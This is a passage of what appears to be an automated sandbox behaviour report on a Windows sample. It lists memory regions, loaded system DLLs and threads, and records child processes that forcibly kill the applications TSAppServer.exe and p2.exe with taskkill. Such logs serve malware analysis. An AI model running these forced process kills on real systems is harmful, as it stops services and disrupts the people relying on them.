mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4767 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4768 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4769 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4770 start_va = 0x3f0000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 4771 start_va = 0x2300000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x0000000002300000" filename = "" Region: id = 4772 start_va = 0x23a0000 end_va = 0x23dffff entry_point = 0x0 region_type = private name = "private_0x00000000023a0000" filename = "" Region: id = 4773 start_va = 0x74bf0000 end_va = 0x74bfefff entry_point = 0x74bf21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4774 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4775 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4776 start_va = 0x6a880000 end_va = 0x6a915fff entry_point = 0x6a89f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4777 start_va = 0x74bd0000 end_va = 0x74be7fff entry_point = 0x74bd1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 289 os_tid = 0x898 Thread: id = 290 os_tid = 0x8c4 Thread: id = 291 os_tid = 0x8a0 Thread: id = 292 os_tid = 0x89c Thread: id = 293 os_tid = 0x834 Process: id = "41" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x56688000" os_pid = "0x8dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4778 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4779 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4780 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4781 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4782 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4783 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 4784 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4785 start_va = 0x380000 end_va = 0x395fff entry_point = 0x385c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4786 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4787 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4788 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4789 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4790 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4791 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4792 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4793 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4794 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4795 start_va = 0x4f0000 end_va = 0x56ffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 4796 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4797 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4798 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4799 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4800 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4801 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4802 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4803 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4804 start_va = 0x6c0000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 4805 start_va = 0x940000 end_va = 0x94ffff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 4806 start_va = 0x6a830000 end_va = 0x6a91afff entry_point = 0x6a8313ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4807 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4808 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4809 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4810 start_va = 0x74c40000 end_va = 0x74c4efff entry_point = 0x74c412a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4811 start_va = 0x74c50000 end_va = 0x74c58fff entry_point = 0x74c515a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4812 start_va = 0x74c60000 end_va = 0x74c70fff entry_point = 0x74c61300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4813 start_va = 0x74c80000 end_va = 0x74c8cfff entry_point = 0x74c811e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4814 start_va = 0x74c90000 end_va = 0x74cc4fff entry_point = 0x74c913d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4815 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4816 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4817 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4818 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4819 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 4820 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4821 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4822 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 4823 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 4824 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4825 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 4826 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 4827 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 4828 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 4829 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 4830 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4831 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4832 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4833 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4834 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4835 start_va = 0x950000 end_va = 0xad7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 4836 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4837 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4838 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4839 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 4840 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 4841 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4842 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 4843 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 4844 start_va = 0x180000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4845 start_va = 0x230000 end_va = 0x2effff entry_point = 0x230000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 4846 start_va = 0x3c0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 4847 start_va = 0x900000 end_va = 0x93ffff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 4848 start_va = 0xae0000 end_va = 0xc60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 4849 start_va = 0xc70000 end_va = 0x206ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c70000" filename = "" Region: id = 4850 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 4851 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4852 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 4853 start_va = 0x74bd0000 end_va = 0x74c2bfff entry_point = 0x74bf2b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 4854 start_va = 0x74c30000 end_va = 0x74c39fff entry_point = 0x74c3149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 4855 start_va = 0x570000 end_va = 0x66ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 4856 start_va = 0x2250000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002250000" filename = "" Region: id = 4857 start_va = 0x74ba0000 end_va = 0x74bc8fff entry_point = 0x74ba6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 4858 start_va = 0x310000 end_va = 0x34ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 4859 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4860 start_va = 0x2290000 end_va = 0x255efff entry_point = 0x2290000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4861 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 4862 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 4863 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 4864 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 4865 start_va = 0x400000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4866 start_va = 0x860000 end_va = 0x89ffff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 4867 start_va = 0x2070000 end_va = 0x20affff entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 4868 start_va = 0x20d0000 end_va = 0x210ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 4869 start_va = 0x74b90000 end_va = 0x74b9efff entry_point = 0x74b921a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 4870 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 4871 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 4872 start_va = 0x6a570000 end_va = 0x6a605fff entry_point = 0x6a58f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 4873 start_va = 0x74b70000 end_va = 0x74b87fff entry_point = 0x74b71335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 294 os_tid = 0x854 Thread: id = 295 os_tid = 0x8c8 Thread: id = 296 os_tid = 0x8c0 Thread: id = 297 os_tid = 0x918 Thread: id = 298 os_tid = 0x8cc Process: id = "42" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x562cd000" os_pid = "0x8f0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM p2.exe /IM p2.exe" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4874 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4875 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 4876 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4877 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4878 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 4879 start_va = 0x70000 end_va = 0xaffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 4880 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 4881 start_va = 0x2e0000 end_va = 0x2f5fff entry_point = 0x2e5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 4882 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4883 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4884 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 4885 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 4886 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 4887 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 4888 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4889 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4890 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4891 start_va = 0x1b0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4892 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4893 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4894 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4895 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 4896 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 4897 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4898 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4899 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4900 start_va = 0x400000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4901 start_va = 0x670000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 4902 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 4903 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 4904 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 4905 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 4906 start_va = 0x74c30000 end_va = 0x74c3efff entry_point = 0x74c312a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 4907 start_va = 0x74c50000 end_va = 0x74c84fff entry_point = 0x74c513d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 4908 start_va = 0x74c90000 end_va = 0x74c98fff entry_point = 0x74c915a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 4909 start_va = 0x74ca0000 end_va = 0x74cb0fff entry_point = 0x74ca1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 4910 start_va = 0x74cc0000 end_va = 0x74cccfff entry_point = 0x74cc11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 4911 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 4912 start_va = 0x753f0000 end_va = 